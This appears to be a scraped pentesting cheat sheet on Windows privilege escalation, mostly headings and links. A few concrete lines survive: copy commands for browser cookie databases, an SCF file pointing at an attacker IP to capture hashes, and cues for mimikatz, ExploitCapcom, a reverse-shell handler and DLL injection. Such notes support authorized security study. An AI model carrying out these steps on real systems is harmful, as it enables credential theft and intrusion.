Windows Privilege Escalation
Windows Privilege Escalation
General and Useful shortlist command
add user
add user to group
Enable rdp (need administrator)
Disable firewall
Enable only remote desktop
Using nxc
Check permission on file or dir
share smb (on attacker machine)
Run as
Sharing folder using
Dir properties
-> https://youtu.be/jBfdlLybMek?si=qd9bu1ch_VPBO4Cm&t=8408
Initial Enumeration
User and Groups Enumeration
Logged-In user
Current User
Privilges
Groups Information
All User on local machine
All grous
Details about user
Detail about a group
Pass policy
Local User Description
Computer Description
OS and Process Enumeration
Info About OS
Process Running
Env variables
set
Systeminfo
Patches and Updates
Installed programs
Running Programs
Running process and owner (not always work)
Get process on main windows (displayed)
Running Process with open port
Get all services
Get info about services
Get all scheduled tasks
Enumerate installed programs
Enumerate local ports
Enumerate Process ID
Enumerate Running Service
get-service | ? {$_.DisplayName -like 'Druva*'}
Get-CimInstance Win32_Service | Format-List *
Modifying PowerShell Execution Policy
Set-ExecutionPolicy Bypass -Scope Process
Installed Programs without permission (works on winrm)
Search program by name
Process Monitor
procmon from powershell
sysinternals
How use procmon from command line
Enumerate all services and process and print also current owner
Network
Get Info About IP and network card
ARP Table:
Routing table
Enumeration Protection
Windows Defender
AppLocker
Test AppLocker
Disable realtime
Named Pipe
Searching File & Creds
Searching File
Find file
Search only file name:
Search file content CMD:
Search file content PowerShell
Search file extension CMD
Search file extension PowerShell
Interesting File/Directories
From file extract extract password
Interesting file
Sticky notes
PowerShell history
Powershell Command
Saved Credentials List
Execute SharpChrome for extracting data from DPAPI - https://github.com/GhostPack/SharpDPAPI/blob/master/README.md
Password Manager
Keepass ->
kdbx
->keepass2jhon
->hashcat/jhon
Mail
MailSniper
Lazagne - https://github.com/AlessandroZ/LaZagne - Credentials recovery project
SessionGopher
Clear-Text Password in the Registry
Windows Autologon - If 1 is enabled
Putty session file
Wifi Password
VHDX/VMDK
Mount Linux
Windows -> Mount-VHD Mount-VHD
Resources -> Extract VMDK
Misconfiguration
AlwaysInstallelevated
Exploit
Generating MSI
Execute MSI
BypassUAC - user account control
Bypass-UAC - Bypass-UAC
Share with write permssion
SCF on a File Share
Icon on attacker machine UNC
IconFile=\\10.10.14.3\share\legit.ico
Starting
Responder
/Inveigh
/InveighZero
Cracking using
hashcat -m 5600
Malicious
lnk
file - LnkBomb LnkBomb
Pillaging
Enumerate Installed applications
Using Registry Key
Enumerate Installed services
Websites
File Shares
Databases
Directory Services (such as Active Directory, Azure AD, etc.)
Name Servers
Deployment Services
Certificate Authority
Source Code Management Server
Virtualization
Messaging
Monitoring and Logging Systems
Backups
Sensitive Data
Keylogging
Clipboard - Invoke-Clipboard
Screen Capture
Network Traffic Capture
Previous Audit reports
User Information
History files, interesting documents (.doc/x,.xls/x,password/.pass, etc)
Roles and Privileges
Web Browsers
Firefox
%APPDATA%\Mozilla\Firefox\Profiles\<RANDOM>.default-release
copy $env:APPDATA\Mozilla\Firefox\Profiles\*.default-release\cookies.sqlite .
CookieExtractor CookieExtractor
Chrome
SharpChromium - SharpChromium
Fix copy for Invoke-SharpChromium
copy "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Network\Cookies" "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Cookies"
InvokeSharpChromium - Invoke-SharpChromium
IM Clients
Slack/Teams
If Administrator privilege, we can run mimikatz
Run mimikatz mimikatz
Windows User Privileges
SeImpersonate and SeAssignPrimaryToken
SeDebugPrivilege
Using procdump
Exploit SYSTEM from child process
Get info about winlogon
SeTakeOwnershipPrivilege
https://github.com/fashionproof/EnableAllTokenPrivs
Choosing Target File
Checking File Ownership
Take Ownership
Modify FILE ACL
Windows Groups Privileges
Backup Operators
Enable Flag SeBackupPrivileg https://github.com/giuliano108/SeBackupPrivilege
Resources -> Exploit
Start backup
save system
save sam
extracting using impacket
Extracting Cred from NTDS.dit
Extracting
Create a copy
Event Log Readers
DnsAdmins
Generate malicious dll
Get info about group DNSAdmins
Change dll
Restart DNS Services (could be distruptive)
Get SID user
Check permission on
DNSService
Hyper-V Administrators
Print Operators - SeLoadDriverPrivilege
Capcom.sys - Add Reference Driver
EnablePrivilges
Verifiy Driver is Loaded
Use ExploitCapcom
.\ExploitCapcom.exe
Use EoPLoadDriver
Clean
Server Operators
Find Services that run in SYSTEM ad es., AppReadiness
Check Permission with PsService
Change binPath
Start Service
User Account Control
Checking if UAC is enabled
Checking UAC Level
Checking Windows Version
Reviewing PATH
UAC bypass
UACME - UACME
UAC Mocking dir - uac-bypass-by-mocking-trusted-directories
Bypass UAC - Bypass-UAC
Weak Permission
Permissive File System ACLs
Using
for searching services modifiable ad es., SecurityService
Check permission
Change executable
Restart Services
Weak Service Permissions
Run
Using
accesschk
for reviewing permission about services
Query all services
Change binpath
Stop service
Restart
Reverting to initial state
In casi di permesso di shutdown e il servizio è autorun
Unquoted Services
Querying service
Searching unquoted services
Scheduled Task
Permissive Registry ACLs
Checking Weak Service ACLs in Registry
Changing ImagePath with PowerShell
Modifiable Registry Autorun Binary
https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.html#privilege-escalation-with-autoruns
https://github.com/nickvourd/Windows-Local-Privilege-Escalation-Cookbook/blob/master/Notes/LogonAutostartExecutionRegistryRunKeys.md
Kernel Exploit
List vuln windows: https://msrc.microsoft.com/update-guide/vulnerability
LOLBAS
Collection
LOLBAS - LOLBAS
Transfer file
Encodign File
Decoding file
Execute dll
DLL Injection/Hijacking
DLL injection
is a method that involves inserting a piece of code, structured as a Dynamic Link Library (DLL), into a running process.
Execute an arbitrary DLL inside another process
Locate the process to inject the malicious DLL
CreateToolhelp32Snapshot
,Process32First
,Process32Next
Open the process:
GetModuleHandle
,GetProcAddress
,OpenProcess
Write the path to the DLL inside the process:
VirtualAllocEx
,WriteProcessMemory
Create a thread in the process that will load the malicious DLL CreateRemoteThread, LoadLibrary
Other functions to use: NTCreateThreadEx, RtlCreateUserThread
LoadLibrary
Manual Mapping
Resources
DLL Injection Hacktips - DLL Injection
IredTeam DLL Injection - IredTeam-DLL Injection
DLL Hijacking
DLL Hijacking
is an exploitation technique where an attacker capitalizes on the Windows DLL loading process.DLL Replacement: replace a legitimate DLL with an evil DLL. Combined with DLL Proxying
DLL Search Order Hijacking: Hijacking the search order takes place by putting the evil DLL in a location that is searched in before the actual DLL Ref -[Ref.]
Phantom DLL hijacking: Drop an evil DLL in place of a missing/non-existing DLL that a legitimate application tries to load.
DLL redirection: change the location in which the DLL is searched for, e.g. by editing the %PATH% environment variable, or
.exe.manifest
/.exe.local
.Ref [Ref.]WinSxS DLL replacement: replace the legitimate DLL with the evil DLL in the relevant WinSxS folder of the targeted DLL. Often DLL side-loading. Ref - [Ref.]
Relative path DLL Hijacking: Copy the legitimate application to a user-writable folder, alongside the evil DLL.
Find Missing DLL
procmon
→filter
→Results contain not Found
and →Paths end with .dll
To escalate privileges
Identify a process that operates or will operate under different privileges (horizontal or lateral movement), which is lacking a DLL.
Ensure write access is available for any directory in which the DLL will be searched for
icacls “Path-To-Dir”
Tools
winpeas
siofra
- Siofrapowersploit
Find-ProcessDLLHijack
Find-PathDLLHijack
Write-HijackDll
Resources
DLL Hijacking Hacktricks - DLL Hijacking
DLL Hijacking Prives - DLL Hijacking PrivEsc
Hacking dlls in windows - hijacking-dlls-in-windows
tcapt dll hijacking - tcapt-dll-hijacking
DLL Hijacking - DLL Hijacking
DLL Reflective
Resources
Reflective DLL Injection: Reflective DLL Injection
DLL SideLoading
Resources
Dll sideloading proxying dll-sideloading-proxying
DLL Proxying
Basically a Dll proxy is a Dll capable of execute your malicious code when loaded but also to expose and work as exected by relaying all the calls to the real library.
Get RevShell (N.B. is very important arch used)
msfconsole
->use multi/handler
Write Code
How to compile dll
x64
x86
Link to
Windows Sockets 2
, necessary for rev shell
Alternative use
VisualStudio e C#
Using go:
How to check if DLL work
Tools
Procmon
Process Explorer
VisualStudio
Resources
https://github.com/nickvourd/Windows-Local-Privilege-Escalation-Cookbook/tree/master
Tools
Last updated